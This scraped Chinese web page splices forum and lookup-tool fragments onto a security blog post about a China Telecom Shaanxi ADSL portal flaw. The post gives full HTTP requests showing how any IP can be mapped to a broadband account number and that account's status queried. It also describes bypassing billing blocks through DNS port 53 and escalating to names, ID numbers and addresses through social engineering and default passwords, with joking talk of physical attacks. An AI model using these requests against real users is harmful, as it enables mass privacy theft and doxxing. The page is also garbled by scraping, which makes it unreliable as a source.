查公积金账号查询0200004709200449918

来源：蜘蛛抓取(WebSpider) 时间：2015-06-09 22:45 标签： 上海公积金账号怎么查
腾讯微博怎么看QQ号码-QQ号码查看腾讯微博账号
&&|&&&&|&&&&|&&&&|&&&&|&&请输入腾讯微博地址查看QQ号：请输入QQ号码查看腾讯微博账号：&&
声明：本网站属于非经营性个人网站、出于个人爱好所做,任何人不得用以非法及商业目的
如有任何疑问，请联系站长：风海林
本站由速网科技提供CDN加速服务求助：怎么查账号多少（用户名）_ireader吧_百度贴吧
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&签到排名：今日本吧第个签到，本吧因你更精彩，明天继续来努力！
本吧签到人数：0可签7级以上的吧50个
本月漏签0次！成为超级会员，赠送8张补签卡连续签到：天&&累计签到：天超级会员单次开通12个月以上，赠送连续签到卡3张
关注：12,962贴子：
求助：怎么查账号多少（用户名）
只能看到昵称，当初忘了注册时的账号了，但是想查却查不了，版本是ireader老版本升不了新的
相关的贴子307549215相关的图贴
同问，。。。。
充值那里有账号
置顶帖里貌似有～～～～～
1、 楼主，我要告诉你一个秘密，请看52、 答案请看113、 不要生气，请看154、 冷静，不要生气，请看135、 首先请看26、 不要生气，请看127、 我只想告诉你，楼主我是来混经验的！8、 我想告诉你的是答案在149、 请耐心的看410、 这是我最后一次这样做了请看711、 当我让你看6时，我希望你不要生气12、 抱歉，请看813、 不要生气，请看1014、 我不知道怎麽说，但请看315、 你一定十分生气，但请看9　　　--来自助手版贴吧客户端
内&&容:使用签名档&&
保存至快速回贴
为兴趣而生，贴吧更懂你。&或中国电信ADSL宽带信息泄露,可查任意IP对应的宽带账号,电话号码,上门砍人_Nuclear'Atk 网络安全研究中心
中国电信ADSL宽带信息泄露,可查任意IP对应的宽带账号,电话号码,上门砍人
中国电信ADSL宽带信息泄露+欠费照样上网，可查任意IP对应的宽带账号、电话号码、身份证、户口本，上门砍人。
标题纯属娱乐……
家里宽带有一段时间没用了，打开一开，你妹的，跳到欠费页面，好吧，既然上不了网，就研究一下电信ADSL宽带在欠费情况下会出现什么状况……
花了点时间分析了下，于是这篇文章就出来了（此处针对的是陕西电信，其他省市应该雷同）。
电信有线宽带欠费状态：
1、拦截使用任何通讯，TCP、ICMP、UDP等协议只允许访问电信官网，例如：，推测是基于IP过滤。
2、但可以使用53端口的UDP通讯（DNS查询协议）。
3、不限制53端口UDP通讯的目标IP地址，例如：nslookup lcx.cc 8.8.8.8，所以可以使用udp代理绕过电信拦截，访问互联网。
4、任何访问80端口的数据（任何IP地址，除了电信官方网站，例如：），将被强制重定向到“/jsp/691error/queryTypes.jsp”（电信可以随时劫持任何通讯）。
5、可以无障碍访问电信官方网站，例如：，其他域名将被重定向（参考：4）。
重定向后的流程：
1、首先访问691错误页面：
GET /jsp/691error/queryTypes.jsp
提示：返回的数据中会存在一些有价值的信息，例如：
var ip = "113.*.*.193";
2、然后通过IP查询对应的宽带账号：
（呵呵，这证明电信会实时储存IP对应的用户信息，所以嘛，公安抓你很容易……）
POST /freeAccountLogin HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: /jsp/691error/queryTypes.jsp
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 ( MSIE 9.0; Windows NT 6.1; Trident/5.0)
Content-Length: 17
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ******
ip=113.*.*.193
返回数据：
HTTP/1.1 200 OK
Date: Sat, 13 Apr :37 GMT
Content-Length: 40
Content-Type: text/ charset=utf-8
P3P: CP=CAO PSA OUR
X-Powered-By: Servlet/2.5 JSP/2.1
{"account":"02900******","latnId":"290"}
GET方式也可以，例如：/freeAccountLogin?ip=113.***.***.192
这里存在严重的信息泄露安全隐患：
我们可以修改参数为任意ip，查询任何人的宽带账号（提示：配合QQ显IP插件，你懂的），再进一步社工+渗透，可以得到姓名、身份证、住址、电话号码等绝密私人信息（我怎会告诉你：在电信官网密码找回或简单社工，而且很多是默认密码，直接进去，户口本就有了……），从而做到上门砍人，咳咳，扯远了……
你懂的……
亲，电话号码露出来了……
深入一下：
如果这里绑定了本机IP，只能查到自己IP对应的账号，那么我们该如何操作呢？
假设绑定了IP，仍旧还存在其他安全隐患，例如：在肉鸡上开代理（和很多年前刷钻一样，你懂的）、XSS，等其他手段都可以获取到这个信息，或者扫描陕西电信IP段存在的天然代理，例如6666端口，具体不解释，你懂的……
3、然后查询该宽带账号的信息：
POST /service/error/queryTypes.action HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: /jsp/691error/queryTypes.jsp
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 ( MSIE 9.0; Windows NT 6.1; Trident/5.0)
Content-Length: 29
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ******
loginName=02900******&latnId=290
（GET也可以：/service/error/queryTypes.action?loginName=02900******&latnId=290）
提示：这里参数 loginName 没有限制，所以你可以查询任何宽带账号的状态……
返回数据：
HTTP/1.1 200 OK
Date: Sat, 13 Apr :57 GMT
Content-Length: 11
P3P: CP=CAO PSA OUR
X-Powered-By: Servlet/2.5 JSP/2.1
{"msg":"1"}
msg参数对应的状态：
success:function(data) {
if(data.msg=='0') {
//该帐户当前属非正常状态，请您携带有效证件到营业厅办理或拨打10000号咨询。
window.location.href="/jsp/691error/shutdown.jsp";
}else if(data.msg=='1') {
//您好，您的宽带已欠费！
window.location.href="/jsp/691error/qryowemoney.jsp";
}else if(data.msg=='3') {
//请您拨打10000号，联系客服人员处理。
window.location.href="/jsp/691error/otherTypes.jsp";
}else if(data.msg=='4') {
$("#error").show();
$("#error").html('&h5&系统繁忙，请稍后再试!&/h5&');
error: function(json) {
$("#error").show();
$("#error").html("");
$("#error").append("&h5&系统忙，请稍后再试！&/h5&");
4、然后重定向页面到状态码对应的Url地址：
您好，您的宽带已欠费！
/jsp/691error/qryowemoney.jsp
5、然后该干嘛干嘛去……
介于该漏洞的严重性，已提交给相关部门处理……
亲们请勿尝试任何非法活动，后果自负！！！
本文“”，来自：，本文地址：，转载请注明作者及出处！

我要回帖

更多关于 上海公积金账号怎么查 的文章

 

随机推荐